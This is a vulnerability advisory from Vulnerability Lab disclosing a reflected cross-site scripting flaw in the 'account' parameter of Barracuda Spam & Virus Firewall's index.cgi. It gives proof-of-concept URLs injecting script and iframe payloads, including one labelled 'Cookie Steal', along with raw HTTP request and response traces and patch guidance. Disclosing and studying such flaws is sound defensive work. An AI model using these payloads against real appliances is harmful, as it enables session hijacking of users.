Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability
http://www.vulnerability-lab.com/get_content.php?id=1118
Barracuda Networks Security ID (BNSEC): BNSEC-1052
https://www.barracuda.com/support/knowledgebase/501600000013lYI
Solution #00006606
BNSEC-01052: Non-persistent XSS in Barracuda Spam and Virus Firewall v5.1.3
2014-07-25
1118
2.9
For efficient, effective corporate communication and collaboration, todayβs organizations need more than just
security against spam and malware. They need a comprehensive email governance solution that combines granular
policy management, real-time visibility into email activity, and the ability to handle massive volume and
huge files. Barracuda Spam & Virus Firewall is todayβs solution for comprehensive email governance.
(Copy of the Vendor Product Homepage: https://www.barracuda.com/products/spamandvirusfirewall/ )
The Vulnerability Laboratory Research Team discovered a client-side cross site vulnerability in the Barracuda Spam and Virus Firewall v5.1.3 (200,400 or 600) & Vx web-application.
2013-11-19: Researcher Notification & Coordination (Ateeq Khan)
2013-11-19: Vendor Notification (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-12-20: Vendor Response/Feedback (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-07-15: Vendor Fix/Patch (Barracuda Networks Developer Team)
2014-07-25: Public Disclosure (Vulnerability Laboratory)
Published
Barracuda Networks
Product: Spam & Virus Firewall 6.0.0.028 - 100 200 300 400 500 600 700 800 900 1000
Remote
Medium
A client-side cross site scripting web vulnerability is detected in the official Barracuda Spam & Antivirus Firewall Web-Application.
The vulnerability allows remote attackers to manipulate via POST method web-application to browser requests (client-side).
The vulnerability is located in the `Per User Account View` module of the security appliance web-application. The vulnerable file is
index.cgi and the affected value is `account`. Remote attackers can inject own malicious script codes on client-side. The attack
vector of the issue is non-persistent and the request method to execute the malicious code is GET. Remote attackers can for example
send manipualted links to priviledged application users to hijack session information (client-side) or execute non persistent codes.
The security risk of the non-persistent input validation web vulnerability is estimated as low with a cvss (common vulnerability
scoring system) count of 2.9. The non persistent cross site vulnerability can be exploited by remote attackers without privileged
application user account and with low or medium user interaction. Successful exploitation of the client-side cross site scripting
web vulnerability results in session hijacking, client-side phishing, client-side unauthorized external redirects and client-side
manipulation of the connected or affected module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Users > Per User Account View
Vulnerable File(s):
[+] index.cgi
Vulnerable Parameter(s):
[+] account=
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with
low user interaction click. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the security vulnerability β¦
&primary_tab=USERS&new_secondary_tab=per_user_account_view
&[email protected]"><script>alert(1)</script>e352896d01c&auth_type=Local&locale=en_US
&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1
&parent_name=pu_pref637248&popup_width=720&popup_height=500
PoC: Frame Inject
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US
&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view
&[email protected]%3E%3Ciframe%20src=http://www.vulnerability-lab.com%3Ee352896d01c
&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1
&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500
PoC: Cookie Steal
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US
&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view
&[email protected]%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3Ee352896d01c
&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1
&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500
Review: Change Password - Mail Session Title
<tbody><tr><td colspan="1" style="padding:0 0 5px 0;" valign="top" width="100%">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td class="TitleLeft"></td><td class="TitleTop">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td><a name="Change Password:[email protected]>
<iframe src=http://www.vulnerability-lab.com>e352896d01c">
Change Password:[email protected]><iframe src="http://www.vulnerability-lab.com">e352896d01c</td>
GET /cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view&[email protected]%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee352896d01c&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500 HTTP/1.1
Host: spam.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; ys-preview_south=o%3Acollapsed%3Db%253A1; ys-preview_east=o%3Acollapsed%3Db%253A0
Connection: keep-alive
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_south=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_east=o%3Acollapsed%3Db%253A0; path=/
Expires: Thu, 18 Oct 2012 23:48:26 GMT
Date: Fri, 18 Oct 2013 23:48:26 GMT
Content-Length: 8325
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
β¦[Trimmed]β¦
<a name="Change Password:[email protected]"><script>alert(document.cookie)</script>e352896d01c"/>
β¦[Trimmed]β¦
Reference(s):
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi
The vulnerability can be patched by a secure parse of the account and session id echo when processing to reset passwords via the email address.
Parse the parameter value input of the account and encode the output in the session values.
Barracuda Networks: Appliances > Advanced > Firmware Updates (automatic) page or use the regular customer panel
https://www.barracuda.com/support/knowledgebase/501600000013lYI
The security risk of the client-side cross site scripting web vulnerability is estimated as medium.
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan ([email protected]) [www.vulnerability-lab.com]
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